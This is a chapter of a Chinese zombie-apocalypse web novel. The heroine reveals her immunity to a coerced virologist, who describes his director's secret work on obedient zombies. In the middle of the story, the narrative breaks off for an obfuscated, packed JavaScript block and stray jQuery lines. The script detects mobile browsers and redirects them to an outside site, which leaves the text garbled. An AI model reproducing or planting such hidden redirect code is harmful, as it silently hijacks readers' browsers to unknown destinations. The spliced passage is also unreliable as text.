沈茵承认自己有赌的成分。


    她并不清楚梁辰手腕上针孔的确切原因，但就像她先前对陆泽渊分析的那样，倘若梁辰只是一个普通的瘾君子，陈书礼又怎会始终不肯放他离开？


    若说是注射某种药物造成的痕迹，倒并非全无可能。只是联想到陈院长说起研究项目时眉飞色舞的样子，以及对梁辰实验水平的夸赞，对了，还有那个沈茵并不了解的总督，他们都在争抢这个看似平平无奇的研究员。因此，这其中的关窍很可能就在于他的研究能力。


    “无论你的病毒实验进行到哪个阶段，我都能帮你。”沈茵压低声音道。


    显然，这是个非常诱人的说法。梁辰瞪大双眼，他张了张嘴，竟一时不知如何回答。


    “别说话。”沈茵马上制止他，“你现在的方向会被拍到脸。”


    “照常给我看病，只需要点头摇头就好。”


    他顿了顿，放下药箱，就着沈茵跪坐在地上的姿势，拿出听诊器靠近她的身体。


    ——自然是没有任何异常。


    梁辰的手微微颤抖，嘴里吐出几个模棱两可的字，“怎么回事。”


    “明眼人都看得出来，你在给陈书礼卖命。真的没必要这样伤害自己的身体。”沈茵轻声道。她一边劝说，一边小心地观察梁辰的脸色。


    见他两眼泛红，抿着嘴唇沉默不语，心下便知自己猜对了七八分。


    “如果……你对科研有执念，我真的可以帮助你。”沈茵顿了顿，她有些犹豫要不要坦白，但想到还被囚禁、生死不明的陆泽渊，非常时期也顾不了那么多了。


    “我的血液里，有抗体。”


    “对，你没有听错，我不会被丧尸病毒感染。”


    沈茵闭了闭眼，她知道这是一步险棋，如果梁辰对陈书礼忠心耿耿，那么满盘皆输的就是她自己。


    梁辰握着听诊器的手颤抖得更厉害了。他缓缓开口，声音里甚至带了些许压抑不住的哽咽：“这是急性肠胃炎，稍等，我带你出去挂水。”


    她赌对了。


    沈茵佝偻着腰，装作痛苦到脱力的模样靠在墙边。希望自己的演技不要关键时刻掉链子，她在心里祈祷。


    梁辰很快折返回来，手里推着一把轮椅。他把倒在地上假装痛苦不堪的沈茵扶了上去，趁着背对摄像头的间隙，在她耳边解释道：“外面走廊的监控比较远，只能拍个大概，可以说话。”


    她连连点头，蜷缩在轮椅上任由梁辰推着。


    身后的门刚一关闭，他就赶忙问道：“你怎么保证说的都是真的。”


    “我曾经被丧尸咬了两次，现在仍然好好的。或许你还记得我刚到这里那天，腿上绑了绷带。”


    沈茵解释道，“虽然，那个伤口愈合得太快了，痕迹非常不明显，但你是丧尸病毒的专家，是不是被咬之后的样子一定能分辨清楚。”


    “……知道了，我会找机会亲眼确认。”


    听出梁辰话里的迟疑，她叹了口气，打算再添一把火。


    “我明白，你不认识我，更不可能信任我。可是陆长官你总听说过吧，他在避难所的口碑你难道不知道？”


    “……他是个正直的人。”梁辰想了想。


    “这就对了，陈书礼能提供给你的方便，陆长官也有资源啊。到了主城，你想做什么实验没有条件？都能搞定。”她从未像现在这样庆幸陆泽渊身上还有个一官半职。


    “而且，他还不会虐待你。”沈茵补充道。


    “你真能保证？”


    “当然可以！”沈茵索性豁出老脸，“那天早上你都看到了，我们的关系，那种……睡一起的。”


    “……好吧，我相信你。”


    沈茵简直想抽自己两嘴巴，不对啊，不是应该提陆泽渊帮自己挡子弹的事情吗。


    两人走过一个转角，见摄像头越来越近，便都不再说话。


    梁辰推着她走进一间病房，拆了包盐水给沈茵扎上。随后，床帘一拉，总算有了个能正常谈话的空间。


    他先是检查了沈茵腿上的伤口，看到那个明显出自丧尸口中的咬痕，梁辰简直被惊得后退半步。


    “这……我还从未见过这样的案例。”


    沈茵靠在病床的软枕上，“都说了我没有骗你。怎么样，要不要合作？”


    梁辰有些丧气地坐下，他仿佛突然被抽干了所有力气，叹息道：“我不是为了搞研究，你信吗……不全是。”


    在他的讲述里，沈茵得知了这座研究院平静表面下最肮脏丑陋的秘密。


    梁辰生在避难所二区一个普通的三口之家，因着对病毒学的浓厚兴趣，他辞掉工作，投履历到研究院。


    沈茵问起这座研究院的详细背景，梁辰只摇头道他也不甚清楚，只知道是从主城最知名的医院脱离出来，搬迁到现在这个地方。院里曾经被几个身份极高的人注资，其中就包括总督。


    在一众研究员里，梁辰是最出色的那一个。他的实验设计总能考虑到病毒变异的不同情况，手又稳，甚至还有医学背景。正因为这份近乎完美的履历，他受到了陈书礼的特别关照。


    直到一次偶然的水源污染事件，他父母作为技术人员赶到一线支援，一只丧尸不知怎的出现在地下管道里，袭击了数名毫无防备的平民，他父母均未能幸免于难。


    走投无路的梁辰不顾外勤队专员的劝阻，硬是开车冲过追捕感染者的车队。为此，他还背了严厉的处分。


    他把父母带到研究院，祈求院里能试着救他们一命，理所当然地，陈书礼伸出了援手。


    某种意义上，梁辰的父母确实还活着。


    陈书礼封闭了他们的意识，去掉了病变的身体组织。他用巨大的培养皿把两个人分开保存，阻止病毒持续感染的同时，细胞也不再活跃。


    他对外宣称已经给那两位可怜人做了无害化处理，还贴心地帮梁辰澄清流言。


    而这一切，都是为了他的秘密实验。


    从那以后，梁辰不再为自己的兴趣工作，他有了新的身份，陈书礼的傀儡。


    在那个绝望的夜晚，陈书礼盯着他的眼睛，像毒蛇盯着猎物，“想要你父母重获新生，只有先完成我的心愿。”


    “如果人体细胞真的能够与病毒结合，甚至猎杀它，驯服它，到那个时候，人类这个物种将走在进化的最前缘。”


    病房内一片寂静。


    “……所以，你的父母，现在怎么样了？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358477|182733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈茵轻声问道。


    梁辰摇了摇头，“没有任何改变。陈书礼的痴心妄想并没有那么容易实现，因此，他调整了目标。”


    “呵……很像他那个老油条会做出来的事。”沈茵轻叹。


    “不得不承认，他是有才华的。发现实在没有办法阻止病毒对人体的侵害，他很快重新拟定了研究计划，而且，就快要完成了。”梁辰抬眼，和沈茵四目相对。


    “他想要研制出，具有服从性的变种丧尸。”


    沈茵倒吸一口凉气，“这种生化武器一样的东西，真的有办法做得到？”


    “嗯。丧尸病毒在不同环境下的活性差异很大，从中找出规律，再匹配以合适的诱导因子，虽然尚不十分稳健，但确实已经有成功的个体了。”


    这样一切就说得通了，沈茵恍然大悟。难怪陈书礼不愿外勤队来救援，他是害怕被查出豢养丧尸进行非法实验。


    封闭研究院也许是担心有研究人员走漏风声，他把附近弄成一片被丧尸侵袭过的样子，就是最好的避免闲杂人等上门的方式了。


    如果梁辰真的被陆泽渊带走，那么，丧失研究骨干的实验室要如何运转？他自然不肯。


    忽然，她想起了一件事，“梁辰……你知道总督传召你的理由吗？”


    看着年轻的研究员沉默，沈茵逐渐感觉到一丝寒意，从背后慢慢渗透进全身。


    **


    沈茵一个人躺在病房里。


    严格来说，只是病房的里间，梁辰帮她拉上帘子，说在门口的诊台等她。


    要好好想一想，接下来怎么做。


    最重要的是先把陆泽渊捞出来。只要他们暂时脱离了陈书礼这个丧尸爱好者，带着梁辰逃出去，一切就还有转圜的余地。


    至于他的父母，也不知道当初被感染到什么程度，就算真的提取出抗体，也未必能保证恢复如初，只能尽人事听天命了。


    沈茵烦躁地蹬了蹬被子，又想起那个偏激的绑架犯，这个世界的变态未免也太多了吧。


    瞟了眼快要见底的吊瓶，她自己拔了针。


    梁辰听到动静进来询问情况，沈茵眼珠一转，神秘道：“要想脱困倒也不难，你得跟我们配合，演一出碟中谍。”


    梁辰再也不愿做陈书礼的马前卒，此刻终于不再犹豫，用力点了点头。


    很快，沈茵又回到那个窄窄的房间里。


    这两天不能再行动了，频繁的异常状况很容易打草惊蛇。梁辰告诉她，丧尸完成体的测试周期还需要大约两个礼拜，在这期间可以先部署计划的其他部分。


    沈茵很慷慨地让他抽走200cc鲜血，用于化验和研究。毕竟，舍不得孩子套不着狼。


    况且她的确也很想知道自己血液的详细情况，万一真如陆泽渊所说，她身体里的病毒并没有消亡，只是处于潜伏期，那可就难办了。


    她在房间里来回踱步，计划的第一步，麻痹敌人。只有让陈书礼爽，让他以为自己距离功成名就近在咫尺，他才会迫不及待。越急，就越容易露出破绽。


    沈茵揉了揉手臂上还略微发青的针孔，有点紧张。要想达成这个目标，还得看陆泽渊的身手到底配不配得上指挥官这个名号。